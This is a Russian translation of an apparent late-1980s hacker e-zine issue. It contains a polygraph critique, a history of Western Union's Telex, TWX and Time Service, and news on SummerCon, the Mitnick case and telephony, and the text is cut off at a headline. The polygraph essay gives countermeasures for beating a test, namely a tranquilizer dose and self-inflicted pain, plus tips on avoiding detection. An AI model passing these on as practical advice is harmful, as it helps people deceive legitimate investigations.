Вопрос более фундаментальный, нежели то, является ли полиграф недопустимым вторжением в частную жизнь, — это, конечно, вопрос о том, работает ли он вообще. Поиск ответа в научной литературе может поставить в тупик. Доклад Управления оценки технологий (OTA), заказанный в 1983 году Комитетом по государственным операциям Брукса, обозначил проблему, сославшись на двадцать четыре исследования, в которых показатели правильного определения вины колебались от 35% до 100%.

Теория полиграфа опирается на своеобразное «пиноккиевское» представление о лжи: физиологические реакции — изменения кровяного давления, частоты дыхания или потоотделения ладоней, — вызванные определённым набором вопросов, якобы надёжно выдают ложь. Логика такова: ложь намеренна, а знание и усилия, с ней связанные, настолько взволнуют человека, что у него проявится физическая реакция — например, учащение сердцебиения. Обычно измеряемые параметры включают кожно-гальваническую реакцию (КГР), кровяное давление, брюшное дыхание и грудное дыхание. КГР измеряется электродами, прикреплёнными к кончикам пальцев: они фиксируют изменения электрического сопротивления кожи ладоней при потоотделении. Кровяное давление и пульс контролируются с помощью манжеты сфигмоманометра, которую обычно надевают на бицепс (по принципу, схожему с тем, что применяют врачи при измерении давления). Никакой «специфической реакции на ложь» не существует. Полиграф лишь фиксирует общее эмоциональное возбуждение. Он не различает тревогу, возмущение и вину. Настоящий «детектор лжи» — это оператор, интерпретирующий различные физиологические реакции по показаниям прибора.

Полиграфологи утверждают, что ключ к их успеху — форма и сочетание вопросов. Стандартный формат, известный как тест контрольных вопросов, предполагает чередование «релевантных» и «контрольных» вопросов. Релевантные вопросы непосредственно касаются существа дела: «Вы участвовали в ограблении Первого национального банка 11 сентября 1981 года?» Контрольные вопросы, напротив, менее конкретны: «За последние двадцать лет вы когда-нибудь брали то, что вам не принадлежало?»

В ходе предтестовой беседы полиграфолог рассматривает все вопросы и формулирует контрольные так, чтобы получить отрицательные ответы. Именно на этом ключевом этапе и проявляется обман со стороны полиграфолога: он хочет, чтобы невиновный испытуемый уклонялся от правды, отвечая на контрольные вопросы уже во время самого теста.

Допущение, лежащее в основе теста контрольных вопросов, состоит в следующем: правдивый испытуемый продемонстрирует более сильную физиологическую реакцию на контрольные вопросы, тогда как лжец сильнее отреагирует на релевантные. Вот в чём суть. Современное детектирование лжи опирается не более чем на тонкие психологические приёмы, грубые физиологические показатели и умелое составление вопросов с последующей интерпретацией результатов.

Критики утверждают, что полиграфия не учитывает всей сложности феномена лжи. Для некоторых людей ложь может быть приятной, обогащающей, захватывающей и даже забавной — в

зависимости от мотивов. Другие испытывают мало эмоций или вовсе не испытывают их, когда лгут. Третьи верят в собственную ложь и думают, что говорят правду, хотя это не так. Более того, теория утверждает, что обман порождает характерные физиологические изменения, которые отличают именно ложь и только ложь. Это утверждение не имеет эмпирического подтверждения. Напротив: ложь не порождает никакого известного специфического паттерна физиологической активности.

Бесспорно, что при нечестности человек может испытывать сильное внутреннее волнение, и полиграф способен его зафиксировать. Но схожую эмоциональную реакцию вызывает и тревога перед допросом: когда человек думает, что лишится шанса получить работу или что его должность под угрозой; когда он задумывается о том, какие выводы могут быть сделаны из его ответов; или когда он злится, озадачен или даже забавляется бесцеремонными расспросами совершенно незнакомого человека. Некоторые контрольные вопросы могут заставить человека выглядеть виновным. Такие вопросы могут вынудить испытуемого солгать по мелочи или спросить о выдуманном преступлении, которое тем не менее нервирует его.

Детекторы лжи особенно ненадёжны в отношении честных людей. Значительно больше невиновных людей получают результат «лжец», чем виновные получают результат «невиновен». В группу особого риска входят те, кого выводит из себя, когда их обвиняют в том, чего они не делали; люди с вспыльчивым характером; склонные к беспричинному чувству вины; и те, кому непривычно, что их словам не доверяют. Всё это может изменить частоту сердечных сокращений, дыхание и потоотделение — и эти усиленные реакции легко спутать с виной.

Было также показано, что полиграфы легко поддаются манипуляции. Четыреста миллиграммов транквилизатора мепробамата, принятые за час-два до сеанса, способны сделать практически невозможным выявление лжеца по физиологическим реакциям. Более того, некоторые исследователи утверждают, что испытуемый может прибегнуть к простым контрмерам — например, укусить себя за язык, уколоть ногтем или наступить на гвоздь, спрятанный в ботинке, — чтобы симулировать сильную реакцию на контрольные вопросы и тем самым «обмануть» тест. По данным одного исследователя, некий заключённый, ставший тюремным экспертом по полиграфу после изучения соответствующей литературы, обучил двадцать семь сокамерников этим техникам; двадцать три из них прошли полиграфические тесты, применявшиеся для расследования нарушений тюремных правил. Однако не стоит вздыхать, кашлять или сжимать кулак или руку: полиграфологи обычно подозревают именно такие приёмы и могут признать вас «лжецом» по одной лишь этой причине.

Должно быть очевидно, что интерпретация результатов любого полиграфического теста неизбежно будет крайне затруднённой. К тому же не все показания прибора будут согласованными. Каковы нынешние квалификационные требования к полиграфологу? Большинство из двадцати пяти и более школ, готовящих экзаменаторов, предлагают лишь восьминедельный курс обучения и требуют для поступления два года обучения в колледже. Это примерно одна шестая от времени обучения в среднем парикмахерском училище. Возможно, около дюжины практикующих полиграфологов действительно имеют учёные степени, однако подавляющее большинство из 4 000–8 000 действующих экзаменаторов не имеют никакой серьёзной подготовки ни в области физиологии, ни в области психологии — несмотря на то что детектирование лжи требует исключительно тонких и сложных психофизиологических интерпретаций. Никаких лицензионных стандартов для операторов полиграфа не существует, и при столь большом числе слабо подготовленных специалистов тысячи тестов проводятся наспех и бессистемно, что приводит к крайне сомнительной точности результатов. Для многих невиновных людей судьями и присяжными становятся именно эти неквалифицированные операторы.

Честность также сложно прогнозировать, поскольку она, как правило, ситуативна. Поэтому она в большей мере зависит от мотивации и обстоятельств, нежели от каких-то черт характера. Как однажды сказал Бертран Рассел: «Добродетель диктуется результатами обстоятельств».

Сторонники полиграфа порой ссылаются на «правильное выявление виновных» — процент виновных испытуемых, которых удаётся поймать с помощью полиграфа. Эта цифра может быть весьма впечатляющей: в одном исследовании, лишённом упомянутых выше недостатков, она составила 98%. Однако то же исследование показало, что 55% невиновных испытуемых также были диагностированы как «лжецы». Немногочисленные исследования, в которых использовалась действительно случайная выборка дел с оценкой вслепую, дали схожие результаты: в целом 83% виновных испытуемых были диагностированы как «лжецы», и столь же «лжецами» оказались 43% невиновных. Довести долю правильно выявленных виновных до 100% — никакой хитрости: достаточно признать всех «лжецами». Для этого вам даже аппарат не понадобится!

Журнал Nature опубликовал свои выводы в прошлом году. Агрегированные результаты были основаны на полиграфных записях 207 подозреваемых в уголовных преступлениях, которые 14 полиграфологов оценивали независимо друг от друга. В среднем они ошибочно диагностировали как лжецов 43% невиновных подозреваемых. Подобные ошибки, называемые ложноположительными, достигали 50%. Соответствующие ошибки, когда лжецы «проходили тест» — то есть ложноотрицательные, — достигали 36%.

Точность результатов «провала» и «прохождения» теста, разумеется, зависит от доли нечестных людей в тестируемой группе. Так, если из 1 000 тестируемых 800 говорят правду, тест с общей точностью 72% выявит 144 лжеца и при этом обвинит 224 честных человека. Это не впечатляющий показатель точности.

Эти цифры свидетельствуют о предвзятости полиграфического теста в отношении невиновных. Проблема обостряется, когда тест применяется в целях скрининга, предусмотренных предложениями администрации Рейгана (и уже реализованных в АНБ и ЦРУ). Тестируют всех, однако предполагается, что лишь очень небольшая доля людей действительно что-то нарушила. Если допустить, что один сотрудник из ста является шпионом (а это, вероятно, грубое преувеличение), и использовать показатель правильного выявления виновных в 83%, окажется, что на каждого реального шпиона, провалившего тест, придётся 51 невиновный человек, также его провалившийся. Любой тест — будь то на правдивость или на рак — должен быть чрезвычайно точным, чтобы выявлять редкое явление, не порождая при этом массу ложных срабатываний. Даже при 99-процентной точности как для виновных, так и для невиновных на каждого пойманного шпиона приходился бы один ложно обвинённый невиновный. Именно из-за этой проблемы «базового уровня» ФБР запрещает применение полиграфных облав: тесты могут использоваться лишь после того, как первоначальное расследование сузит круг подозреваемых.

При всех сомнениях в достоверности полиграфа, почему правительство продолжает его применять? Некоторые подсказки содержатся в докладе МО 1983 года о полиграфическом тестировании — уже в его названии: «Точность и полезность полиграфического тестирования», — что само по себе намекает на то, что точность и полезность — разные вещи. Максимум, что этот доклад констатирует относительно точности, — что она «значимо выше случайного угадывания». Полезность же — совсем другое дело. Пожалуй, наиболее красноречивое высказывание о детекторах лжи принадлежит бывшему президенту Никсону, который заявил на одной из записей Белого дома: «Я ничего не знаю о детекторах лжи, кроме того, что они до смерти пугают людей».

Western Union: Телекс, TWX и Служба времени

Автор: Phone Phanatic

17 сентября 1989 года

> *«Ещё несколько лет назад — может, лет десять — аппараты TWX и Telex можно было встретить почти в каждом офисе.»*

Между Telex и TWX существовали лишь незначительные различия. Главное из них состояло в том, что первый всегда находился в ведении Western Union, тогда как второй в течение многих лет эксплуатировался Bell System. Аббревиатура TWX буквально расшифровывалась как «(T)ype(W)riter e(X)change» — «телетайпная биржа», — и это был ответ Bell на конкуренцию со стороны Western Union. Существовали машины «с тремя рядами» и «с четырьмя рядами» клавиш — в зависимости от числа клавиш на клавиатуре и их расположения. Машины «с тремя рядами» были просто частью обычной телефонной сети: они могли набирать номер и связываться с другим аппаратом TWX, также подключённым к обычным телефонным линиям.

В конечном счёте их вытеснили «более новые и улучшенные» машины с дополнительными клавишами, а также с устройством считывания бумажной ленты, которое позволяло отправлять одно и то же сообщение многократно на разные аппараты. Эти машины «с четырьмя рядами» не были подключены к обычной телефонной сети — им присвоили собственные коды зон (410-510-610-710-810-910), которые используются по сей день. Единственный способ для четырёхрядной машины связаться с трёхрядной (и наоборот) проходил через своеобразный шлюз, осуществлявший перевод части наборов символов, уникальных для каждого типа аппарата.

Сеть Western Union называлась Telex и, помимо возможности соединяться (через дозвон) с другими аналогичными аппаратами, могла связываться с TWX (и наоборот), а также со всеми публичными офисами Western Union по всей стране. Вплоть до конца 1950-х — начала 1960-х годов в каждом маленьком городке Америки имелся офис Western Union. В крупных городах, таких как Чикаго, их насчитывалось, пожалуй, с десяток, и для доставки телеграмм по городу нанимали посыльных. Телеграмму можно было подать лично в любом публичном офисе или продиктовать по телефону в ближайший из них.

По договорённости с большинством телефонных компаний офис Western Union в городе почти всегда имел номер 4321, а позднее — в автоматических телефонных узлах — к нему добавляли префикс вида XXX-4321. Стоимость телеграммы можно было включить в счёт домашнего телефона (в некоторых населённых пунктах это практикуется и поныне), а звоня с таксофона, не набирали 4321, а просили оператора соединить с Western Union. Это было необходимо: после того как телеграмма была продиктована телеграфному клерку, тот, в свою очередь, должен был переключить линию и снова вызвать оператора, чтобы сообщить «взыщите пять долларов двадцать центов» или какова бы ни была сумма. Телеграммы, как и телефонные звонки, можно было отправить за счёт получателя или с выставлением счёта третьей стороне. Если у вас был счёт в Western Union — то есть аппарат Telex в офисе, — вы могли отнести расходы на него, хотя в большинстве случаев вы просто отправляли телеграмму оттуда напрямую.

В начале 1960-х годов Western Union подала в суд на AT&T, требуя передать ей бизнес TWX. В обоснование иска компания ссылалась на более раннее судебное решение, принятое примерно в 1950-х годах, согласно которому AT&T было запрещено приобретать дополнительные телефонные компании иначе как при определённых условиях. Верховный суд согласился с Western Union в том, что «устные сообщения» относятся к сфере деятельности «Мамы Белл», тогда как «письменные сообщения» — к сфере деятельности Western Union. Таким образом, Bell была обязана избавиться

от сети TWX, и с тех пор её эксплуатирует Western Union, хотя несколько лет назад компания начала постепенно заменять термин «TWX» на «Telex II» (первоначальное устройство, соответственно, стало называться «Telex I»). TWX по-прежнему использует десятизначный набор: ведущими тремя цифрами служат 610 (Канада) или 710/910 (США). По всей видимости, коды 410 и 510 были упразднены или используются крайне редко; Bellcore назначила 510 району Сан-Франциско примерно через год или около того. На 410 ещё сохранялось кое-что любопытное — например, «Infomaster» Western Union: компьютер, функционирующий как шлюз между Telex, TWX, EasyLink и рядом других систем.

Сегодня сеть Western Union — лишь тень своего прежнего самого. Бóльшая часть сообщений теперь обрабатывается через терминалы с дозвоном, подключённые к публичной телефонной сети. По некоторым оценкам, объём бизнеса TWX/Telex составляет около пятидесяти процентов от того, каким он был десятилетие назад, если не меньше.

Служба времени

Была и Служба времени — замечательная услуга, которую Western Union предоставляла на протяжении более семидесяти лет, пока не прекратила её в середине 1960-х. Служба времени выполняла важную функцию в эпоху, когда переменный ток ещё не получил широкого распространения. К примеру, в Чикаго переменное электричество появилось лишь около 1945 года. До этого использовался постоянный ток — DC.

Для работы электрических часов необходим переменный ток частотой 60 Гц — по очевидным причинам, — поэтому до перехода с постоянного тока на переменный электрические настенные часы, какие сегодня висят в каждом офисе, были совершенно невообразимы. Как же люди узнавали точное время? На помощь пришли часы Western Union.

Часы Western Union, или «телеграфные часы», представляли собой часы с пружинным заводом, однако с одним существенным отличием. Эти часы были «вечно самозаводящимися» и производились компанией Self-Winding Clock Company of New York City. Внутри них находились большие аккумуляторы, известные как «телефонные элементы», со сроком службы около десяти лет каждый. Механическое приспособление в часах вращалось по мере раскручивания пружины, и раз в час два металлических зажима соприкасались примерно на десять секунд — через них проходил ток к небольшому моторчику, который заново заводил главную пружину. Принцип тот же, что и в современных батарейных часах. Батарея не приводит часы в движение напрямую — постоянный ток на это неспособен, — но питает крошечный моторчик, который заводит пружину, фактически управляющую ходом часов.

Часы Western Union выпускались разных размеров и форм: от наименьших циферблатов диаметром около двадцати двух сантиметров до крупнейших — около сорока пяти сантиметров. Одни имели секундную стрелку, другие — нет. На некоторых спереди красовалась маленькая красная лампочка, которая мигала. Типовая модель была около сорока сантиметров в диаметре и встречалась в офисах, школах, транспортных узлах, на радиостанциях и, разумеется, в самих телеграфных офисах.

Всех этих часов объединяло одно: коричневый металлический корпус и циферблат кремового цвета с логотипом Western Union — в те годы им служила молния, похожая на букву «Z», лежащую на боку. А чуть ниже, более мелким шрифтом, значилось: «Naval Observatory Time» («Время Военно-морской обсерватории»).

Синхронизация и технические подробности

Местные часы в офисах или школах калибровались по «главным часам» (на самом деле — по субмастеру) на месте. Раз в час, ровно в начале каждого часа, субмастер опускал металлический контакт всего на полсекунды и посылал около девяти вольт постоянного тока по линии ко всем местным часам. Те в свою очередь имели «допуск» примерно в две минуты в любую сторону от начала часа — приходящий ток резко дёргал минутную стрелку строго вверх, на двенадцать, с любой стороны, независимо от того, отставали ли часы или спешили.

Субмастеры в каждом здании обслуживались в свою очередь главными часами в городе — как правило, теми, что стояли в телеграфном офисе. Каждый час, в тридцать минут, главные часы телеграфного офиса посылали ток к субмастерам, при необходимости синхронизируя их. Сами же телеграфные офисы синхронизировались дважды в день — как вы уже, наверное, догадались — от главных часов Военно-морской обсерватории в столице нашей страны, по той же схеме. Кто-то там нажимал сразу с полдюжины кнопок — всеми свободными пальцами, — ток шёл в каждый телеграфный офис и синхронизировал все главные часы в каждом городе. Western Union взимала за эту услугу пятьдесят центов в месяц, а сами часы предоставляла бесплатно! Ах да, при первоначальной установке (то есть когда часы монтировались) взималась единовременная плата около двух долларов.

Монтаж и техническое обслуживание часов осуществлял «часовщик» — техник Western Union, который проводил свой рабочий день, объезжая объекты: вешал новые часы, снимал отслужившие, раз в несколько лет менял батарейки в каждых часах и так далее.

Какой же переполох поднимался каждый год, когда наступало «военное время» — то, что мы сейчас называем летним временем! Уолли, который обслуживал все часы в центре Чикаго, вынужден был начинать в *четверг* до воскресного официального перехода, чтобы успеть закончить к *вторнику* следующей недели. Он буквально врывался в офис, отвёрткой открывал корпус, прокручивал часовую стрелку на один час вперёд с помощью пружины (или на одиннадцать часов *вперёд* осенью — ведь стрелки нельзя было двигать назад за двенадцать, против часовой стрелки), захлопывал корпус, завинчивал его и переходил к следующим часам в коридоре. За день он успевал обойти несколько десятков часов, и обычно дважды в год на эти случаи ему присылали помощника.

По его словам, они никогда не заботились о том, чтобы выставить минутную стрелку точно, — это заняло бы слишком много времени: «…всё равно, пока мы укладывались в минуту или около того, она сама синхронизируется, когда главные часы пошлют следующий сигнал…» При быстром темпе на каждые часы уходила от одной до полутора минут: открыть корпус, прокрутить минутную стрелку, закрыть корпус, «перекинуться парой слов с секретарём» и двигаться дальше.

Главные часы посылали сигнал по обычным телефонным линиям. Как правило, линия заходила в главный офис того или иного учреждения, где эстафету принимал местный субмастер.

Уолли говорил, что с самого начала очень важно было повесить часы профессионально. Они должны были висеть строго горизонтально, и маятник следовало настроить идеально, иначе часы спешили бы или отставали сильнее, чем позволяла компенсировать ежечасная синхронизация. По его словам, очень редко попадались часы, которые уходили бы даже на минуту за час, не говоря уже о двухминутном допуске, заложенном в механизм.

> *«…Бывало, прихожу в понедельник утром и узнаю в конторе, что в пятницу вечером линия часов оборвалась. Так весь выходной без сигнала. Обычно я спускался в люк и находил обрыв там, где кто-то из парней Bell напортачил или снял провод и не вернул обратно. Чтобы найти место обрыва, кто-то в конторе "прозванивал" линию; я обходил центр города, следуя по петле, как у нас было расчерчено, и всё время слушал в наушнике. Как только я находил обрыв или отвисший контакт, закреплял его, и контора*

> *отпускала линию; но затем мне нужно было обойти все часы до этой точки и перезапустить их, потому что постоянный ток, которым контора питала линию во время поиска, как правило, останавливал их.»*

Но он говорил — снова и снова, — что часы были повешены настолько добротно, что «…редко когда находился один такой, что ушёл бы настолько, что его пришлось бы подводить вручную. Обычно первый же сигнал, прошедший по линии после того, как я чинил цепь, дёргал всех в городе и компенсировал всё, что они потеряли или набрали за выходные…»

Конец Службы времени

В 1965 году Western Union приняла решение прекратить Службу времени. В ностальгическом письме подписчикам компания объявила о намерении остановить работу по истечении текущего месяца, однако добавила, что «ради старых добрых воспоминаний» все, у кого есть часы, могут оставить их себе и продолжать пользоваться ими — просто сигналы настройки от главных часов поступать больше не будут.

В течение дня-двух после официального объявления все часы Western Union в здании штаб-квартиры Чикагского отделения исчезли со стен. Руководители компании сняли их и унесли домой, предвидя, что со временем они приобретут историческую ценность. Примерно в то же время часы пропали и из телеграфных офисов — их сменили обычные электрические настенные часы офисного типа.

Phrack World News

Автор: Knight Lightning

```
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN                                                 PWN
PWN         P h r a c k   W o r l d   N e w s       PWN
PWN         ~~~~~~~~~~~   ~~~~~~~~~   ~~~~~~~       PWN
PWN                  Issue XXX/Part 1               PWN
PWN                                                 PWN
PWN           Created, Written, and Edited          PWN
PWN                by Knight Lightning              PWN
PWN                                                 PWN
PWN          Special Thanks to Dark OverLord        PWN
PWN                                                 PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
```

С праздниками вас и добро пожаловать в выпуск XXX Phrack World News!

Этот номер Phrack World News содержит материалы и статьи, описывающие события и сведения, связанные с Acid Phreak, AT&T, Apple Computer Co., Bellcore, Bernie S., Клаусом Брунштайном, Cap'n Crunch, Captain Crook, Chaos Communications Congress, Cheshire Catalyst, Клиффордом Столлом, CompuServe, Леонардом Митчеллом ДиЧикко, Эммануэлем Голдштейном, FCC, Кэти Хафнер, Harpers Magazine, Intellical, Майклом Синерджи, Кевином Дэвидом Митником, Phiber Optik, Phonavision, Phrozen Ghost, Prime Suspect, Sir Francis Drake, Сьюзан Тандер, Telenet, Terra, Tuc, Tymnet, The Well и...

Объявляется Четвёртый ежегодный...

SummerCon '90
22–24 июня 1990 года
Сент-Луис, Миссури

Нынешний съезд обещает быть невероятнее, чем когда-либо. В ближайшие несколько месяцев многие из вас получат от нас прямые сообщения о том, что будет происходить и где именно пройдёт SummerCon '90. Указанная дата, разумеется, предварительная (до события ещё около шести месяцев), однако все изменения и новая информация будут публиковаться в PWN и передаваться нашим друзьям по сети.

Если вы думаете о посещении SummerCon '90, свяжитесь с нами как можно скорее. Если у вас нет доступа к Интернету или к публичным Unix-системам по всей стране, опубликуйте сообщение на досках объявлений с вопросом, кто из пользователей поддерживает с нами контакт. Найдётся кто-то, кто сможет до нас достучаться.

Knight Lightning / Forest Ranger / Taran King

«Новое десятилетие наступило... И будущее никогда ещё не выглядело столь светлым!»

Партнёр Митника приговорён к общественным работам — 29 ноября 1989

По материалам Кэти Макдональд (New York Times)

«Мужчина приговорён к общественным работам за помощь в краже компьютерной программы»

ЛОС-АНДЖЕЛЕС — Федеральный судья приговорил 24-летнего жителя пригорода Калабасас к общественным работам в приюте для бездомных за его роль в помощи хакеру Кевину Митнику при краже программы по компьютерной безопасности.

Отклоняя доклад о вынесении приговора, в котором предлагалось лишение свободы, федеральный окружной судья Марьяна Пфэльцер отметила, что Леонард Митчелл ДиЧикко добровольно уведомил власти о компьютерном взломе.

«Я думаю, вы сможете принести пользу» обществу, применяя свои компьютерные навыки продуктивно, — заявила Пфэльцер ДиЧикко.

Она приговорила ДиЧикко к пяти годам условного срока, в течение которых он обязан выполнить 750 часов общественных работ через организацию Foundation for People — лос-анджелесскую группу, подбирающую для условно осуждённых соответствующие проекты.

ДиЧикко было поручено разработать компьютерную систему для Anaheim Interfaith Shelter, сообщила Фрэнсис Дон, сотрудник фонда.

Кроме того, ДиЧикко обязали выплатить 12 000 долларов в счёт возмещения ущерба корпорации Digital Equipment Corporation (Массачусетс), у которой Митник похитил программу по компьютерной безопасности.

Помощник прокурора США Джеймс Аспергер согласился с назначением общественных работ, заявив, что сотрудничество ДиЧикко имело решающее значение в деле против Митника.

ДиЧикко сообщил о Митнике офицерам DEC. Позднее Митник признал, что похитил программу и электронным путём переправил её в Калифорнию.

В июле ДиЧикко признал себя виновным по одному пункту обвинения в пособничестве межштатной транспортировке похищенного имущества. Он признал, что в 1987 году позволил Митнику, которому было 25 лет, из пригорода Панорама-Сити воспользоваться его рабочим компьютером в компании Voluntary Plan Administrators в Калабасасе для взлома системы DEC.

Митник признал свою вину и в июле был приговорён к одному году лишения свободы и шести месяцам в учреждении общественного лечения, призванном избавить его от «зависимости» от компьютерного взлома.

По соглашению о признании вины с прокуратурой ДиЧикко в июле признал себя виновным в обмен на обещание, что против него не будет возбуждено уголовное преследование за все остальные случаи компьютерного взлома, которые он совершил совместно с Митником.

Если вас интересуют другие статьи, связанные с Леонардом Митчеллом ДиЧикко и знаменитым Кевином Дэвидом Митником, обращайтесь к:

• «Pacific Bell Means Business» (10/06/88) PWN XXI....Part 1
• «Dangerous Hacker Is Captured» (No Date) PWN XXII...Part 1
• «Ex-Computer Whiz Kid Held On New Fraud Counts» (12/16/88) PWN XXII...Part 1
• «Dangerous Keyboard Artist» (12/20/88) PWN XXII...Part 1
• «Armed With A Keyboard And Considered Dangerous» (12/28/88) PWN XXIII..Part 1
• «Dark Side Hacker Seen As Electronic Terrorist» (01/08/89) PWN XXIII..Part 1
• «Mitnick Plea Bargains» (03/16/89) PWN XXV....Part 1
• «Mitnick Plea Bargain Rejected As Too Lenient» (04/25/89) PWN XXVII..Part 1
• «Computer Hacker Working On Another Plea Bargain» (05/06/89) PWN XXVII..Part 1
• «Mitnick Update» (05/10/89) PWN XXVII..Part 1
• «Kenneth Siani Speaks Out About Kevin Mitnick» (05/23/89) PWN XXVII..Part 1
• «Judge Suggests Computer Hacker Undergo Counseling» (07/17/89) PWN XXVIII.Part 1
• «Authorities Backed Away From Original Allegations» (07/23/89) PWN XXVIII.Part 1
• «Judge Proposes Comm. Service For Hacker's Accomp.» (10/13/89) PWN XXX....Part 1

Конгресс по хаотической коммуникации (Chaos Communications Congress)

Автор: Terra из Chaos Computer Club

27–29 декабря 1989 года состоится Chaos Communications Congress в Eidelstaedter Buergerhaus, Гамбург, Западная Германия.

Темы конгресса:

• Новый немецкий закон о PTT
• Обсуждение авторского права и закона о свободе информации
• Женщины и компьютеры
• Mailbox и другие сети (Zerberus, InterEuNet, UUCP)
• Семинары для жителей Восточной и Западной Германии по построению сетей между двумя странами
• Дискуссия между профессором Клаусом Брунштайном и членами CCC о проблемах вирусов и червей
• Семинары по Unix и UUCP для начинающих, продвинутых пользователей и специалистов
• Работа с прессой в специальном помещении
• Семинар «Cyberbrain или Cyberpunk»
• Семинар и дискуссия о защищённых сетях (спецтема: TeleTrust, кодирование смешанных шлюзов)

Стоимость входа:

• 33 DM для обычных участников
• 23 DM для членов CCC
• 53 DM для представителей прессы

С уважением,

Terra

Phonavision в Калифорнийском университете — 15 октября 1989

По материалам New York Times

КАЛИФОРНИЯ — Студенты двух кампусов Калифорнийского университета — в Беркли и Лос-Анджелесе — стали испытательной аудиторией для нового публичного видеотелефонного аппарата под названием Phonavision.

Его разработчики утверждают, что это первый в мире видеотелефон для широкой публики.

В студенческом союзе каждого из кампусов установлен один из крупных серебристых телефонных аппаратов. Phonavision открылся 9 октября на неделю бесплатных демонстраций. Начиная с 16 октября видеозвонок из одного кампуса в другой обходился в 10 долларов за три минуты.

«Мы рассматриваем весь этот семестр как испытание», — сказал Стивен Стрикленд, генеральный директор основанной в Лос-Анджелесе компании Communications Technologies, разработавшей видеотелефоны. «Мы хотим убедиться, что, выходя на рынок с этой услугой, она будет настолько хороша, насколько возможно».

«Думаю, нам нужно ещё от шести месяцев до года, чтобы создать систему, с которой можно выходить на рынок», — сказал Стрикленд. «Я вижу их в аэропортах, холлах гостиниц, торговых центрах, крытых местах с высоким трафиком». Видеотелефоны уже широко используются в

деловой сфере, добавил он.

Абоненты Phonavision разговаривают через стандартные телефонные трубки. На одной половине небольшого экрана отображается уменьшенное изображение собственного лица звонящего, а на другой — изображение собеседника.

Во время разговора на экране видны небольшие движения рта или лица. Однако резкие движения ведут к искажению картинки: например, при наклоне головы изображение сдвигается в сторону по частям — начиная с макушки и опускаясь вниз волнообразно.

Анналии Андрес, студентка второго курса из Санта-Аны (Калифорния), ещё не определившаяся с специальностью, стала одной из первых студентов, испытавших новый видеотелефон в Беркли. Вместе с друзьями она столпилась у аппарата в студенческом центре имени Мартина Лютера Кинга, по очереди разговаривая со студентом из UCLA.

«Думаю, ему ещё предстоит долгий путь, но это действительно круто», — сказала она. «Я прекрасно вижу, к чему это ведёт».

Г-жа Андрес поразмышляла о последствиях широкого распространения видеотелефонов. «А что, если они застанут вас только что из душа?» — спросила она. «Это изменит отношения».

Дэниел Чирули, студент третьего курса из Тусона (Аризона), специализирующийся на информатике, с энтузиазмом воспринял пробный сеанс, однако сказал, что цена отпугнёт его в будущем.

«Это новая игрушка», — сказал он. «Но при цене 10 долларов за три минуты и при наличии лишь одного другого аппарата Phonavision студенты не будут ломиться в очередь».

Видеотелефонный аппарат предлагает и другие услуги: запись и просмотр видеокассет, а также отправку и получение факсимильных сообщений. Аппарат принимает купюры по 1, 5, 10 и 20 долларов, а также карты Mastercard и Visa.

Гари Ли, студент четвёртого курса из Пекина, специализирующийся на электротехнике, начал устанавливать телефонный аппарат в Беркли ещё в апреле. С тех пор он тратил около 20 часов в неделю на устранение неполадок в системе.

Беркли и UCLA были выбраны в качестве площадок для испытания новой услуги потому, что большинство студентов знают кого-то из другого кампуса, пояснил Стрикленд, генеральный директор компании.

«Там мы сможем привлечь интерес новизной», — сказал он, добавив, что «Беркли и UCLA имеют репутацию передовых вузов — мест, где любят инновации и новые технологии».

Стрикленд сообщил, что его компания потратила почти три года на разработку Phonavision. Общие расходы он раскрывать отказался, однако оценил каждый видеотелефонный аппарат в 50 000 долларов.

Вездесущий телефон — 10 октября 1989

По материалам New York Times

Каковы бы ни были психологические последствия, новые технологии явно сделали телефон вездесущим. Количество звонков растёт благодаря автоответчикам, которыми теперь владеют 28 процентов американских домохозяйств, по данным Electronic Industries Association. Их пользователи отмечают, что совершают и принимают больше звонков именно из-за этих устройств.

«В старые времена вы просто пропускали звонок», — сказал Майкл Беглин, предприниматель из Нэшвилла.

Джилл Гудман, арт-дилер из Нью-Йорка, говорит, что разговаривает по телефону так часто, что «это меня мучает, надо мной смеются и оскорбляют». Она использует телефон для общения, покупок и поддержания связи с теми, с кем хочет оставаться в контакте, но не хочет тратить время на личные встречи.

«У меня два телефонных номера за городом, два дома в городе и три в офисе — это даёт вам представление о том, сколько телефонных разговоров я могу генерировать», — сказала она.

Месяц назад, поначалу сопротивляясь, она решила установить автомобильный телефон. «Я думала, что было бы неплохо иметь пару часов, когда меня нельзя достать», — сказала она. «Но мне не нравилось, когда я сама не могла никому дозвониться».

Всё больше людей используют телефон для получения услуг, информации и товаров.

Номера 900, звонки на которые оплачивают сами абоненты, и номера 800, оплачиваемые получателями звонков, стремительно набирают популярность.

Sprint Gateways в мае запустили новый сервис на базе номеров 900, уже насчитывающий 250 линий. Абоненты могут получить викторину по рестлингу, финансовые сводки, информацию о недвижимости и множество других данных. Они даже могут сыграть в версию «Family Feud», которая получает до 7 000 звонков в день, сообщил Адриан Тоадер, директор по продажам и маркетингу.

Телефонные покупки через номера 800 также продолжают расти. В 1986 году ритейлер L.L. Bean из Фрипорта (Мэн) получал 60 процентов заказов по телефону и 40 процентов по почте; к 1988 году доля телефонных заказов выросла до 70 процентов. Как и всё больше ритейлеров, L.L. Bean позволяет покупателям делать заказы по телефону 24 часа в сутки.

Однако звонящие на номера 800 нередко хотят большего, чем просто заказать рубашку или свитер.

Сьюзан Дилворт, принимающая заказы по телефону для L.L. Bean, рассказала: «Многие звонят и говорят: "Я приезжаю в Новую Англию впервые. Как мне одеться?"» Другие заказывают товары, а потом начинают рассказывать о своей личной жизни. «Думаю, они одиноки», — сказала г-жа Дилворт.

Действительно, анонимные, но личные контакты пользуются такой популярностью, что некоторые люди становятся зависимыми от них.

Мэрилин Нг-А-Куи, исполняющая обязанности исполнительного директора Нью-Йоркского центра самопомощи (New York City Self-Help Clearinghouse), рассказала об одном мужчине, который обратился за помощью, потому что накопил счёт на 5 000 долларов за звонки на номера 900. «Это становится проблемой по всей стране», — сказала она.

Несмотря на поток телефонных разговоров, есть и те, кто держится в стороне. Лоис Кори, партнёр нью-йоркского рекламного агентства, пишет письма при любой возможности, нередко предлагая встретиться за обедом. «Мне действительно нравится видеть того, с кем я разговариваю», — сказала она.

Но даже её партнёр Аллен Кэй звонит ей из своего офиса, находящегося всего в четырёх футах. Единственное время, когда он не мог позвонить, — когда был в машине. Теперь и это в прошлом. «Он купил автомобильный телефон месяц назад и звонит всё время», — сказала она. «Когда я сижу на переднем сиденье его машины, пытаюсь на него наступить».

Повышенные тарифы за телефон для пользователей модемов — 26 ноября 1989

